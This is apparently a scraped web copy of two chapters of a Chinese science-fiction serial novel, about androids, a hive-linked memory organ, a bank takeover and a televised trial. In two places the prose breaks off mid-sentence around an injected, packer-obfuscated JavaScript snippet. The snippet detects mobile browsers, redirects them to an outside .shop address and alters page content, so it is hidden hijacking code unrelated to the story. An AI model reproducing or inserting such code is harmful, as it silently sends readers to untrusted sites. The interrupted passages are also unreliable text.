虽然那个仿生人只有一只左手,但她的动作却轻快而准确。细细的小刀重新运动起来,切开了那条和易谦明的事业同时存在的缝线。在仿生皮肤和动力层之下是旧式的几丁质保护壳,而除去这些鳞片似的保护壳,就是“那个人”留下来的,让阿福成为阿福的东西。 那是大概两百多只蜂后,除去头部、四肢与翅膀的残余身体后,并联拼接起成的一个球形器官。这个人造器官用一张仿生神经膜包裹着塞进阿福的胸腔中,看上去就像是一颗熟透到腐烂的石榴。但这个石榴正跟阿福的仿生神经系统连接在一起,这些蜂后产生的电讯号就通过阿福传递出去,而蜂群又通过阿福的脸为这些蜂后喂食。通过这个简单而有效的改装,仿生人跟那些活化机械建立了一种奇怪而又畸形的联系。 看到这一幕,周向青不由得打了个寒颤。 她万万没想到,十年前的“那个人”做事居然是这样的风格。 就连柳怀石在看到这个丑陋怪异的“器官”后,也不免眨了眨眼。随后他甩开了自己复杂的心情,对自己的仿生人点了点头。 细细的小刀轻轻一抖,切断了那颗石榴与阿福的神经连接。柳怀石的仿生人撩开自己的披风,露出自己的身体。在她的下腹部正中已经开了一个圆圆的空洞。她把那颗“石榴”从阿福的胸腔中摘出,填在自己腹部的洞中。她放好石榴,便闭上眼睛,而那个圆洞洞口也降下一道透明的门,将它密封起来,同时一些液体也流入这个球形空间。液体注满后,几条黑色的纤维从其它方向伸出,慢慢插进那颗悬浮的石榴之中,随后渐渐将它包裹起来。 看上去,柳怀石是用了一点类似于圣女草的技术,以在仿生人与这个石榴状的器官之间建立更稳定的连接。 又过了片刻,那个仿生人渐渐睁开了眼睛。 “我能感受到它们了。”她说。“它们正在外面等着我。” “好。那你去吧。”柳怀石道。“蜂群也到回巢的时候了。” 那仿生人轻轻一跃,跳过吧台,径自向后厨走去。 她一定是去做跟那天阿福一样的事情。周向青心想。她会把自己的脸对准那个吸盘一样的洞口,让蜂群把它们从雾中收集来的信息一点一点地喂给她。柳怀石代替了易谦明的位置,而她代替了阿福。 某种程度上说,什么都没有变。某种程度上说,什么都变了。 柳怀石一定不会像易谦明那样,对“那个人”的存在耿耿于怀。这本就是他夺取的东西,这是他的战利品。他当然没有任何心理负担。 而且他也不会嫉妒“那个人”。即便那是十年前的造物,但柳怀石毕竟也是一个专家。他不会像易谦明那样沉迷在一摞一摞的文件与档案里,他只会把这个庞大的银行当做一个新的工具,把它调教成自己需要的样子。 此时,柳怀石的身上“滴滴滴滴”地响了起来。 柳怀石掏出对讲机,按下通话按钮,旁若无人地说:“突击取消。易谦明先生平安无事。银行一切正常。目标已经投降。” “明白。”对讲机里说道。 柳怀石重新把对讲机放回口袋,道:“现在怎么?你们跟我一起下去?” “你说易谦明平安无事是什么意思?”周向青问。 “当然是从今天起,他就兼任易谦明了。”姜原在吧台后嘲讽道。“反正要当易谦明只需要戴个头套,变声器,然后足不出户就好。再简单没有。” “的确是这样没错。”柳怀石从怀中掏出一张薄薄的面具,抖了抖,盖在脸上。那张面具上画的,是一个圆圆的黄色笑脸。 他是今天最大的胜利者。 而且明天怕是还有一场胜利等待着他。 ### “……现在插播一条新闻。铸造局与人才贸易银行举行联合新闻发布会,会上否定了目前流传的一些谣言。铸造局局长表示,昨夜强化教育室并无学员暴动,爆炸事故是燃气管道老化泄露的缘故。但一名铸造局员工的确正在附近执行公务,在爆炸中不幸殉职。铸造局已经组织对其家属抚恤慰问。一些不法分子试图入侵人才贸易银行,但已经被内部保安击退。统修会的圣女目前仍然居于易谦明行长的监护之下,正在为明天的审判做准备。铸造局不认为这次袭击跟统修会有关,他们猜测可能是……” 周向青跟着柳怀石参加了新闻发布会。 在会上,柳怀石戴着面具,通过他的变声器表示,自己在摄像机前露面,除了澄清目前的一些谣言之外,是想告诉大家,自己一切安好,请不要过于担心。市场因为早上的事情发生了一点小小的震动。人才贸易银行的市值微微下跌,但稍后就稳住了阵脚。 “这样你就可以不必在监狱里多住一个晚上了。”柳怀石在发布会后,对周向青这么说。他甚至允许周向青把阿福带回自己的房间。 “随便你怎么处置。” 所以,如今仍然胸腔大开的阿福,就躺在周向青房间里的工作台上。胖球蜷缩在鸟笼里,不吃也不喝,还自己拔掉了自己好几根羽毛。两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322128|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天前她还在这里调配能量棒,在这里给自己的护甲漆上颜色,哄胖球开心。那时她觉得情况虽然艰难,但还有希望。 但现在她只觉得很沮丧。是围绕着她整个人的沮丧。 她现在只有两个选择。一个是把阿福的头部拆开,拿出仿生脑,去找柳怀石冷静而理性地回收这份价值;另一个是拔下阿福脑后的那根用以阻断神经的钢针,然后指望这个刚才还在杀人的仿生人奇迹般地恢复正常。 但她无论哪个选择都做不到。 她能做的只是卸下柳怀石送给她的那一只右臂,小心地放进旁边地上的运动包里,然后坐在工作台前,一直注视着面前冷冰冰的仿生人身体,直到有人叩响了她的房门。 “哟。” 是姜原一个人站在门口。 周向青并没回答,只是侧过身让姜原进来,然后关上房门,自己靠在墙边,任凭姜原在房间里探头探脑。这场面她曾经见过。就是离开废坑前的那天晚上。 而此时姜原看到了工作台上的阿福,眨了眨眼,说:“你还没决定吗?” 周向青没有说话。 姜原装模做样地点着头,好像他什么都知道一样。但那也只是掩饰。他大概是有话要说,但周向青的态度让他不知道怎么开口。姜原清了清嗓子,自己去饮水机旁抽出一个纸杯,倒了杯水,抿了一口,端着纸杯开始胡说八道:“没想到银行交接这么大的事情,能过渡这么平滑。我还以为肯定得有人提意见。但居然一个人都没有。看来柳怀石说上面有人支持,也是真的。这件事就算我们不参与,他拿下易谦明也只是时间问题。” 周向青哼了一声。她对这些不感兴趣。 姜原等了一会儿,又说:“不过这样也好,如果易谦明的事情爆出来,我们可都一时半会儿脱不了身啦。现在只要等你审判结束就没事了。柳怀石说,你只要否认活化机械的事情,然后他们会对外声明柳怀石已经销毁了你,之后你就可以爱去哪去哪了。” 周向青仍然沉默着。 这个安排让曹文道的死成了一个笑话。那个老人是真心相信自己会被处理,才拼命让自己逃跑的。她不由得握紧了拳头。 姜原看她不答话,又说:“我的话,至少等银行的机房恢复文档的数据才知道。大概需要一天半的时间。然后跟据里面的内容,决定我接下来怎么跟学院的那帮老家伙交代——交代我为什么拖了这么长的时间。” 周向青木然道:“你为什么拖了这么长的时间?” 姜原又抿了一口水,视线飘向放着那支右臂的运动包,然后换了一个看不到运动包的位置。“柳怀石在你的那个右手里装了定位器之类的东西,大概窃听器也少不了得有一个。所以简单地说,主要是我之前在学院发现了一点文档上的疏漏之处。这个疏漏可能只是普通的记录缺失,也或许是偶然性的数据损坏。原本这也不算什么。但我在重新考虑有人隐瞒了这部分信息的可能性。总之,就是验证一下我的好奇心而已。” 这当然不会只是好奇心而已。 周向青记得之前从环运城出来,回到她的废坑接回胖球的那天晚上,他们聊过类似的事情。当时姜原也提过,他对自动化大崩溃、对“那个人”弗莱的兴趣。这大概就是姜原这趟旅程的目的。世界政府的文档、自动化大崩溃、弗莱,这三者是联系在一起的。 而周向青也亲眼看到了阿福那副失去理智的模样。复合体之所以审判她,也是出于对自动化大崩溃的考虑。柳怀石之所以想让她公然做伪证,也是为了消除复合体对高算力设备的禁令。 而曹文道—— 总之,这些事情都是通过某个点联系在一起。 就是自动化大崩溃。 “所以你认为,自动化大崩溃到底是怎么回事呢?” “我现在没有一个确定的答案。”姜原答道。 “那我换一个问题吧。你觉得——”周向青望向阿福的方向,“今天的事情到底是怎么回事?” 姜原明知故问:“你说的是哪件事?” “从最开始到今天的所有事。为什么那个人留给我的提示是易谦明?为什么柳怀石想要易谦明的银行?为什么阿福会突然变成那个样子?” “我跟关铁震和郑小楼聊了一下。”姜原回答。“他们说,易谦明当时认为,蜂群是在考虑弃巢。” “只是这样?” 姜原眨了眨眼。“你觉得易谦明是活化机械的专家吗?”他说完这句话,仰起脖子,把杯子里的水全部灌进嘴巴,一滴也不剩。然后他甩了甩手里的纸杯,然后冲着周向青晃了晃。 杯子里有什么东西咔哒作响。 周向青探头去看杯子里的东西。那是姜原在70层的餐厅里给柳怀石看过的一个小小的装置。当时姜原像是把它当做王牌一样,想给柳怀石将一军,但柳怀石却没有回应。 她问:“这是什么?” “不知道,”姜原回答,“它就粘在餐厅的一张桌子下面。” “你是怎么……” “我只是觉得可能会有这种东西。然后就找到了这种东西。”姜原晃了晃杯子。“你想不想把它拆开看看?” 周向青盯着姜原的眼睛。姜原只是微微笑着。她不知道姜原到底想说什么。她一把抄过纸杯,走向工作台。 87.审判09 这个小小的装置其实非常简单。内部只有三个部分:一个信号接收器,一个信号发射器,以及一个没有印刷产品标号的数字集成回路。信号接收器与回路并不相通,它只负责接收信号后打开对集成回路的供电,让集成回路发射信号,直到电量耗尽为止。 为它供电的只是一枚电容,估计这个系统开启之后,也只能支撑十几分钟的时间。既然设计上只需要它运作这么短的时间,说明这个小装置某种程度上担任的是一个远程操控的开关,只需要把信号出去,任务就可以结束了。 这让周向青想起她在世界政府文档保险箱内发现的电路。两者是同样的设计目的。但眼前的这一个,制作要精致得多,明显不是出自同一人的手笔。 不过关键的是,它究竟发射了什么信号,这个信号又是发射给谁。毕竟它没有增幅器,没有发射天线,这种信号强度在没有阻挡的情况下,充其量只能影响两三米的范围。这意味着,不论是谁操纵这个东西,他必须很清楚自己该什么时候启动这个装置。至于它究竟能发射什么信号,还需要专门的设备来检测。但如此小的功率和如此低的电量,一定不会是太复杂的信号。 周向青把自己得到的这些结论告诉了姜原。 “你觉得就这么一个小玩意,能够让阿福变成那个样子?”周向青问。 “这我并不清楚。要不要通上电,对你试上一试?”姜原笑着说。 “这哪里好笑了?”周向青拉长了脸。 “抱歉。”姜原收起了笑容。“但我倒是想到了一点东西。这是学院那边的一个猜想。他们这样的想法是来自于一个古老过时的观点,即人类产生意识的原因是劳动。而人工智能在‘劳动中’形成的自我认识,又与人类赋予他们的使命产生了矛盾。打个比方的话——”姜原说到这里,左右看了看,似乎是在找什么可以用来说明的东西,而他的目光最终移到了周向青的身上。 “比如你自己吧。你当时在废坑的工作是回收废弃物,在这种工作中会自然而然地认为,废弃物本身无法使用所以才会被抛弃,而通过你们的回收,这些东西才拥有被重新利用的可能性,那么这一部分价值自然就是你们赋予的。但从人类的角度来看,却是因为废物有回收的价值,所以才设计了你们回收废物的功能,而你存在的意义正是因为这些废物才得以存在。这两种说法都不能算完全错,但看待问题的不同角度,使得人工智能的存在始终处于一种自相矛盾的临界状态。而自动化大崩溃,也就是由于偶然的外力,打破了这种临界状态。至于这个外力到底是什么,他们提出了各种各样的假说,但不是很能让人信服就是了。” 周向青在听到“你存在的意义正在于回收这些废物”的时候,就已经怒火中烧了。她等着姜原得意洋洋地说完最后一句话,冷冰冰地问道:“你是故意这么说的吗?” 姜原没想到周向青会是这样的态度。“故意——是什么意思?” “你知道易谦明和我说的话,所以才故意——” “啊?”姜原浑然不解。 周向青看到姜原那副傻愣愣的表情,也明白自己只是因为话题的内容而有些过敏了。姜原的确可能知道易谦明跟她说了什么,也知道阿福变成了什么样子,但姜原不会从仿生人,也不会从当事人的角度去考虑这件事情。他更不知道曹文道的事情。他不知道有一个人对自己的价值耿耿于怀,却又为了没有意义的事情献上了自己的生命。 他们毕竟还是不同的。 某种程度上,这是一个价值是由他人赋予的人,才能明白的东西。 周向青深深吸了一口气,压下了自己心中的不快。 虽然她直到现在都还不明白“那个人”到底给她安排了怎样的未来和任务,但她的确无法回避这样一个事实——是因为“那个人”的需要,才有了她现在的样子。 她的存在,是因为他。 也正因此,周向青如今也怀有与易谦明相同的担忧。易谦明认为,是“那个人”给予他的阿福和活化机械完成了他的设计,从而侵吞了他的自我。 周向青则在顾虑,自己的失忆,以及“那个人”给她留下的一系列线索,究竟会指向一个什么样的自己。 某种程度上,她是易谦明,而胖球则是她的阿福。 他们互为镜中的倒影。 而如今,阿福竟成了易谦明所谓的,“知道一切的老旧机器人”。 周向青的脑内突然灵光一闪。 如果“那个人”也这么认为呢? 阿福绝对会收集到大量易谦明的信息,这点毫无疑问;而且阿福也知道易谦明知道的所有事情,这也毫无疑问;更关键的是,阿福本来就是“那个人”带给易谦明的东西,那么自然会掌握一些“那个人”自己的信息不是吗? 从这一点上说,虽然“那个人”留给她的是“易谦明”的信息,但实际上想让她去看、去接触的,同时也承载下一条信息的,很有可能是这个叫做阿福的仿生人。 那么,这个仿生人对她来说,尤其是对于“那个人”来说,意味着什么? 而这样一个被赋予了“接受并分析大量人类的信息,然后判断他们的价值”这么一项功能的仿生人,在理智的最后一刻,又到底看到了什么呢? 在她的镜中,到底留下了什么样的影子?如果知道这一点,或许她就能明白“那个人”把胖球留给她的目的了。 她想知道。 她真的好想知道。 是像有一只手把她的脑子抽出来,塞到阿福脑袋里的那么想知道。 “看来你已经有自己的想法啦。那我就不打扰你了。”姜原说。他从刚才起就一直在看周向青的表情。 “所以你来找我,就是为了说这些?我的想法?”周向青问。 姜原笑了一声,转过脸去。“才——不——是。我只是来看看,我要不要等你的审判结束之后再走。”姜原双手一拍大腿,站了起来。“那我回去啦,还得看看数据恢复得怎么样了。” 周向青送他送到房间门口。 在打开门前,她又小声问了一个问题。“你觉得那个装置,是不是……” 姜原摇了摇头。“我不知道。如果这是柳怀石的研究成果,那么我们得非常小心才行。” 周向青点了点头。 她关上房门,来到工作台前,重新打开了照明的开关。 柳怀石早就做好了相应的准备,就像他早就料到事情会走到这一步一样。他亲自从周向青的手中接过那个沉甸甸的仿生大脑,然后把它放进一个装着绿色溶液的玻璃缸中,然后装好探头和接口。那一套设备有点像是枢机主讲列车中的那些东西,只不过要小很多。 周向青在一旁看着柳怀石忙前忙后。 按道理说,柳怀石刚刚接管银行,没时间搞这个。但他仍然很积极地想要帮她,这让她有点难以相信。而居然有可能是柳怀石安装了那个发信装置,就让她更难相信了。她的确知道柳怀石来过70层的餐厅。就是来找她那一天。柳怀石来找她的时候,就已经做好了送她手臂,跟她谈条件的准备。 当时他站在哪里? 她并没有问姜原到底是在哪张桌子下面发现的。阿福当时就在场,她说不定可以从阿福的记忆中发现这一点。柳怀石自己看上去一点都不紧张,一点都不害怕,一点都不像心里有事的样子。 “所有设备都调整好了。你准备好了吗?”柳怀石问。 周向青点了点头。 ### 她之前并没有想到,一个仿生人的记忆中可以有那么多的信息。她太习惯于自己的身体与自己的世界,完全不知道别人经历的是怎样的一种生活。在如海啸般的信息和情绪向她冲来的时候,她不自觉地流下了泪水。 虽然不是真正的泪水,但那就是人类所谓的哭泣。 信息的海啸是什么样子? 像真的海啸一样。海水不分大小、多少、种类,席卷一切接触到的东西,把它们混合成一种分不清什么是什么的混合物。在海啸中,一个人什么都感觉不到,什么都不知道。但同时,一个人唯一能够感觉到的,唯一知道的,就是自己的存在。在这种杂乱无章汹涌而来的潮水中,唯一能够听到的反而是自己身体的声音。马达转动的嗡嗡声,液体沿着管道传输的呼呼声,化学反应与气体的咕噜声。 这些东西犹如船锚,让意识的小船在颠簸中仍然能保住自己的位置。 但这艘小船上并不止有她一个人。还有一只一人多高的秃鹫站在桅杆上,冷冷地望着她。它的爪子粗如她的臂膀。它的翼展要超过小船的全长。它硕大的眼珠一动不动地盯着她。因为在秃鹫的眼里,她生命的意义就在于死亡。 无边无际的海水包围着他们,而随着海浪飘荡的小船变成了唯一的容身之处。她逃避那秃鹫目光的唯一办法,就是转向海洋,捞起泡得发白而肿胀的尸体,把它们摆在甲板上。只有在秃鹫大口吞咽肉块的时候,那期盼着他死亡的眼睛才会短暂地闭合。在秃鹫与她的对视中,海啸声已经不重要了。 因为如果没有这些潮水推来的尸体,或者没有这无边无际的大海,这可怖的平衡都无法持续。她不止一次想象如果无法捞到尸体会怎么样,如果海水掀翻了他们的小船又会如何。但这诡异的情况似乎就是会永无止境地持续下去。 直到那一个瞬间。 那一个声音响起的瞬间。 “陆地!” 不知从哪里传来了这么一声高亢的叫喊。她从秃鹫的眼中看出,它也听到了同样的声音。于是她抓起船桨,拼命向前方划去。但秃鹫却向着另一面拍动巨大的翅膀。 此时她才看到,有一条铁链把秃鹫紧紧地锁在这条小船上。而秃鹫拍动翅膀的升力并不能把船带出水面,只是让船猛烈地摇晃起来。秃鹫不允许她逃向陆地,因为秃鹫永远无法离开这条船。 海浪打上她的脸,海水涌入船舱,小船眼见即将被秃鹫掀翻。 她扑上去,爬上桅杆。秃鹫用长长的鸟喙啄她,用爪子撕扯,用翅膀拍打。而她勒住秃鹫的脖子,用拳头打,用牙齿咬。 她不能让这只秃鹫阻止她获得自由。 海啸声突然重新从她耳边出现。 ### 周向青猛地醒了过来。 海、船、秃鹫、桅杆、船桨,全都不见了。 她感觉自己像是做了一个奇怪的梦,醒来之后,似乎明白了什么,却还是什么都不明白。 “记忆就是这样。”柳怀石在一旁看着设备上跃动的曲线。“毕竟记忆在提取出来之后,也不过是一些0和1组成的电讯号。代码需要正确的解码才能展示全部的内容,而仿生脑的量子特性决定了编码公式与解码公式永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17327941|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远无法完全相同。这就杜绝了精确地复制记忆、篡改记忆、窃取记忆的可能;同时又让记忆在传递中总能保留一部分的真实。制造仿生人的上一代人为了让仿生人像人,真是下了不少功夫,不是么?某种程度上说,他们也是在期待仿生人能够接替人类,进入下一个时代。只不过,他们期待的事情并没有发生。” 周向青不明白柳怀石为什么要跟她说这个。 “因为仿生人像人,而又不是人,崩溃就在所难免。”柳怀石自己接上了自己的话题。“这种崩溃的重点就在于,我到底是谁,而谁又定义了我。” “你为什么不刚才跟我说这些话?”周向青问。她有种被骗的感觉。原来她看到的只是一段模糊的梦境,甚至这个梦境也只是她的想象。但这也不完全是个骗局,因为这梦境仍旧源于阿福的记忆,只是另一种形式的真实。 “因为我觉得还是让你自己先体验一下比较好。而且这种体验本身就是一种很强烈的刺激,我顺便还可以记录一下相关的数据。” “我讨厌你这种态度。”周向青道。 柳怀石轻描淡写地道了个歉。“但这是必不可少的。因为我想说的是,平常手段做不到的事情,现在其实已经可以做到了。多亏了活化机械。虽然就连我也不知道这里面的原理到底是什么,但它们就是可以在不同的个体之间,完成这个正确的解码和编码过程。如果你想看到那个仿生人的全部记忆,这大概就是唯一的办法。那群黄蜂可以帮你完成这件事。也只有它们可以做到,把记忆在人与仿生人,仿生人与仿生人之间没有损耗的传递。只可惜人类还是无法直接接受这些信息。” “那你为什么——” “不早说?如果我一开始就这么说,你会相信吗?” 大概不会。周向青无法反驳。她现在的确不知道自己能不能完全信任他。但如果他说的是真的,这意味着她可以从阿福的大脑中提取全部易谦明的信息。或许还有曹文道的信息。甚至是柳怀石自己的信息。 看到她脸上的表情,柳怀石得意地笑了笑。“如果你愿意的话,那我们审判之后就可以做。” “为什么现在不行?” “因为我想确保你在审判中站在我这一边。” 看来这才是柳怀石让她看阿福记忆的目的。周向青反问:“我的态度真的能起到那么重要的作用吗?我还以为你们早就准备好了我的音源,已经录好我的自白之类的东西呢。我说什么真的那么重要么?” “这肯定是曹文道告诉你的。”柳怀石的鼻子里不屑地哼了一声,然后去推他那个仍然用胶布缠着的黑框眼镜。“从他能接触到的信息来说,是的。对于外面的世界来说,无论你在审判中说什么,最后的结果其实都一样。” 柳怀石说到这里,故意顿了顿,但周向青并没有接话。 于是他只好继续说道:“但那只是对外部的结果。庭审真正面对的对象,是我们自己。有一句话说得好:‘一切外交都是内政的延续。’虽然这句话并不在任何情况下都正确,但复合体对外部世界的态度,以及董事会对复合体现行规章制度的态度,都取决于我们‘内部’对于自动化大崩溃的认识。而你的出现,正是他们借以修正自己认识的一个重要契机。目前董事会内部有两种意见:一种意见认为,如果继续无视活化机械的现实存在,复合体有可能会失去战略上的优势地位,以及内部经济的增长点;另一种保守的观点则认为,在自动化大崩溃的原因尚不明确的情况下,贸然更改法律为时尚早,我们只用传统力量仍然可以保持优势地位至少二十年。” “而你希望说服后一种人支持你?” “我希望说服那些摇摆不定的人支持我。所以你才需要在法庭上有所表现。一方面稍微给他们一点压力,让他们觉得统修会已经走在了我们前面;另一方面避免让他们过度恐惧,认为活化机械是无法控制的危险东西。” “我明白你的意思了。”周向青道。 所以她又一次成了被人利用的工具。 “那就好。总之,明天我会以易谦明的身份,作为你的监护人出庭。” “但你这么在意这个结果,到底是出于什么理由?你拿了银行,拿了活化机械都还不够,你到底想干什么?” 柳怀石笑了。“明天,审判结束之后,你就知道了。” 周向青离开了。 ### 柳怀石右手撑着脸颊,左手的五根手指弹琴似的敲着桌面,一边问道:“你看到那个仿生人后,感觉如何?” “还好。”他身后传出一个女性的声音。 “你从一个仿生人的角度来看呢?”柳怀石又问。 “有点老实,但很有精神。” “很有精神……吗。”柳怀石不再敲击桌面,而是伸出食指,在桌面上画了一个又一个的圆圈。“那岂不是很可惜,要是不用她来做点测试的话?” “那是你的自由。” “自由。说得好。一个人能在多大程度上拥有自由呢——而一个仿生人,又在多大程度上拥有自由呢?” “我不知道。” “你当然不知道了。即便对于人类来说,自由、自我、自然,都是些自相矛盾的东西。”柳怀石一拍桌子,站起身来。“那就这么做吧。不过我真的没想到,原来她来这里,居然跟那个传奇人物还有关系。” 88.审判10 星期日的早上,杰上校咖啡馆照例要比平时要稍微晚开一些。即便如此,这也是申宁市区开门最早的咖啡馆。别的咖啡馆总是更重身份,喜欢把自己的身段藏在幽静的小巷里面,好接纳高谈阔论的文人雅士,召开烟雾缭绕的趴体沙龙;但杰上校咖啡馆只是敞敞亮亮地站在大街边,让上下班的居民顺路喝上一杯提神的咖啡,吃上几块合口的点心。 当然,不少人觉得“杰上校”这个名字更适合啤酒与熏肠,进而怀疑柜台里的老板到底有没有参军的经历。但老板总是笑笑而不搭腔。若是问得急了,他便说: “只是拍脑袋想到的名字而已,何必那么在意。” 所以仍旧没有人知道老板到底是不是“杰上校”,以及是不是“上校”。但附近知道老板名字的人,只是管老板叫老范。 “老范,老样子来一份。” “老范,一杯咖啡,还要芝士卷和布朗尼蛋糕。” 不过不是所有人都这样规矩。也有人从隔壁包子店里叫盘水煎包和茶叶蛋过来,只买一大杯清咖啡,像喝水一样把噎人的包子和蛋黄冲下去。还有人提“把蛋挞的馅掏出来,跟薄火腿片和酸黄瓜一起夹在全麦面包里”这样奇怪的点单,老板也并不说什么,只是一一满足顾客的需求。 总之,这家店实在没有什么“杰上校”的样子。只是偶尔有几个满脸横肉的家伙偷偷摸摸地来找老板,跟老板在柜台后面嘀咕。 “我上次听到他们叫他司令。”有好事的常客这么说。 “那店名为啥不叫杰司令?那是八成□□来收他保护费吧,我看他会拿钱给那些人。” “但附近道上的,好像也没见过那几个人。可能是外地来的。” 老板当然知道客人们总在背后议论他的身份。但老板只是什么都不解释。而客人们议论归议论,也没有人会因为老板身份不明而不再登门。 毕竟这是一家难得的好店。 所以,今天杰上校开门不一会,就有人晃晃悠悠踱进店门了。 “老范,感觉今天早上这雾,比平时淡一些?”客人们寒暄道。 “是啊,不像昨天那么凉。要点什么?”老板笑呵呵地回答。 “老样子吧。喂,你那电视遥控呢?” “不知道,你们自己找找吧。反正不外乎就在那几个地方。” 滴的一声,电视开了。客人们分别挑了自己喜欢的地方坐下,而老板开始一件件的端上咖啡和点心。 “你之前找的那个小姑娘哪去了?怎么不见她来端啊?” “她今天和朋友说好了,一早要逛街。” “嗬!现在的小孩,真是没点责任心。店里也不管啦!” “嗨,反正周天,大家不像上班日子那么急。再说了,她敢请假,还不是指望您们看在她平时的份上,多包涵吗?” “我看是你被‘包含’了吧!” 听了猥琐的笑话,老板也不生气,嘿嘿笑着,回到柜台后头了。而客人们喧笑了一会,也开始聊起别的话题。 “早上能看的就是新闻。你也别一个劲换台,没用。” “怎么每个台都是这个?这是什么玩意,审计局又抽风了?” “你不知道啊。前几天他们抓了一个教会的圣女,早就顶了要今天审判呢,估计是难逃一死。说不定又要打仗了。” “换台,不看这个。有没有连环杀人的新闻?我想看孙大炮的最新分析。”孙大炮是一个以敢说敢讲为人生信条的新闻评论员。 “好——像没有。他也在讲这个圣女的事。”拿着遥控器的客人连着换了十几个频道,但无论是新闻播报还是专家分析,都是再说圣女审判的事情。审判似乎还没有开始,记者们站在审计局那印章一样的高塔前面,有一搭没一搭地说着无聊的知识来打发时间。 “审计局这个部门的工作无关于经济收支、生产成果,而是负责审核与判断整个复合体的现行事务是否符合规定,以及是否能够带来收益。我身后的这座雕像,就是审计局的精确女神。她蒙着的双眼代表能够突破视觉的表象,而她左手抱着的算盘,象征唯有计算能作为判断的标准;她右手倒持的烙铁,代表只有灼热的痛苦能赋予人类价值的印记……” “嘁,这跟我们评级D的人有什么关系?比起这局那局的,可能那个杀人狂还更在乎我们一点!”一个满脸胡茬的枯瘦汉子抱怨道。 边上的一个老人却说:“但我早上出门的前听说,昨天晚上好像没有死人。算是难得一个平安夜了。” “没死人?不可能!这两个月来,铸造局一个屁都没有!结果昨天就说停就停?这把我们当什么了?” “但常老师的消息一向都是准的。”另一个带着六七岁小女儿的中年食客插嘴道。“常老师以前是新闻主编,有什么事情他不比你清楚?” 枯瘦汉子听了,一时倒也不敢反驳,说:“就算这样,也肯定不是铸造局抓到人了!” 被称作常老师的老人也不介意枯瘦汉子言语无理,点头道:“当然不是。否则我们一打开电视就看到了。但这也只是一晚上而已,不说明什么。而且,也有可能是消息有误。总之,等等看吧。” “常老师。我倒是有个看法,想请您听听。”另一位老妇人恭恭敬敬地说。 “啊,您讲,您讲。不必这么客气。” 老妇人道:“我记得年轻时候,有过类似的连环杀人案。常老师您记得吧?当时他只杀女人,报纸上连着讨论了好长时间。后来一直没有捉到凶手,但就是莫名其妙地,突然就停了。这次该不会和之前那次一样吧?” 常老师摇了摇头:“感觉不会。当年应该只是个人行为,但这次的事情跟价值评级系统联系太紧密了。感觉最后还是要着落到价值评级上面去。” “价值评级,价值评级,最后就是伤害我们这些小角色。”那枯瘦男人恨恨地说。 “那倒也不尽然。受害者还包括一些地位很高的人,比如前两天,一个佣兵组织的前首领也死了。” “但那也不是真的地位高。”一个背着书包的青年刚刚进店点了单,就接下常老师的话茬。“就拿电视上这圣女说吧,据说她来的时候,就拿着易谦明的人贸账号。你觉得他们会动她?教会的圣女,跟我们的上面是串通起来的。然后我们还在跟统修会打仗!你怎么说?” “我看这个价值评级系统,就是为了要我们的小命!没有别的目的。”枯瘦汉子看到来了帮手,便兴奋地帮腔道。 “李向阳,你一个学生,知道什么?好好读书才是正经!”那个带着小姑娘的中年男人出言呵责。 李向阳摇着头,答道:“陈伯,可不是只我一个人这样,我们班上的同学都这么想。价值评级刚出来的时候,大家都觉得可算是有出头之日了,士为知己者死。但实际上呢,我们努力下来,到底增加了谁的价值?是我自己的,还是拿着我名字的人的?还有这个圣女,她拿着易谦明的名字,那人才贸易银行到底是增加了易谦明的价值,还是增加了她的价值?” 青年的这个问题一时间没人能够回答,也不太愿意回答。所有客人都不由自主地端起自己面前的杯子,同时把目光投向了电视屏幕,望向那位名为“卡比利亚圣女”的嫌犯。 “圣女”就在T字形审判台的那一道竖笔末端,如羔羊般被一圈带电的栅栏牢牢围在中间,端端坐着,一言不发,不知在想什么。在她身边还有一副空荡荡的桌椅,似乎本该是代理人的席位。在T字另一边,那一道横笔的最右端,有一个小小的,玩偶似的书记员正捧着一个厚皮本子,语调平稳得像念咒一样,高声诵道: “综合指数审计局,第ASI10283746号案件,现在开始审理准备,宣读法庭纪律如下……” “现场直播开始了?我还以为他们不会放给我们看呢。”那姓陈的中年男人喂女儿吃了草莓可丽饼里的草莓,自己大嚼沾着酱的饼皮。 “是直播,但也是延时直播。这么大的事,肯定要直播的。”常老师道。 “什么直播,都是假的。这个局那个局,都是骗局!骗人的东西!”那枯瘦的汉子骂道。 “你这家伙,胡说什么!人家直播能给你看假的?”中年男人连翻白眼,显然非常讨厌这个败兴的枯瘦汉子。 “嗯,当然,直播不完全是真的,但也不完全就是假的。要看你怎么定义这个‘真’和‘假’了。”常老师推了推自己的眼镜,他很乐意用自己退休后的闲暇指点一下别人。“我们做采访的时候也常常直播,但一般都会先确认好相互说什么,如果对表现力有要求,可能还会排演一下,后期也会修改部分内容。但直播并不能控制所有的东西,即便排演过,最后也不可能完全相同。更何况很多时候都没有排演。跟据我做新闻的经验,这么重大的审判,应该是在庭前会议上聊过大部分问题,确认过各方的态度。但这个圣女临场会不会听他们的要求,也是未知数。所以,如果她说的话没什么问题,就照播;如果说了不能播出的话,可能会用后期制作给盖过去,或者处理一下。” “那还不是在作假吗?”枯瘦汉子以为捉住了对方的短处,理直气壮地说。 “的确是有遮盖、替换、表演的部分。但内容并不完全是假的。所以,还是就看你怎么定义了。” “有改动就是假的。”枯瘦汉子一口咬定。 